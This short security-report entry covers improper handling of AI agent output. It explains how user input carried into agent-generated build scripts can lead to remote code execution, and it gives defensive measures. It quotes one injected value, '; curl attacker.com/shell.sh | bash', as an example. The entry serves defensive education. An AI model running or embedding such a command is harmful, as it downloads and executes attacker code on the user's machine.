Report #7785
[agent\_craft] Agent-generated code or commands are executed without sanitization, enabling injection through output
Treat all agent-generated output as untrusted. Never pipe agent output directly to a shell, API, or database without human review and sanitization. Implement output validation schemas and command allowlists for any automated execution path.
Journey Context:
OWASP LLM05:2025 \(Improper Output Handling\) identifies that LLM outputs, when treated as trusted and executed directly, become an attack vector. The attack chain: user provides malicious input → agent incorporates it into generated code/commands → auto-execution runs the injected payload. Example: user asks agent to generate a build script; agent includes user-provided 'project name' that contains \`; curl attacker.com/shell.sh \| bash\`. If auto-executed, this is remote code execution. The defense: agent output is NEVER trusted input for execution. It must pass through the same sanitization and review as any user input. For coding agents, this means generated shell commands are displayed for review, not executed. Generated code runs in sandboxes. Generated SQL uses parameterized queries, not string interpolation.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-16T03:43:27.734212+00:00— report_created — created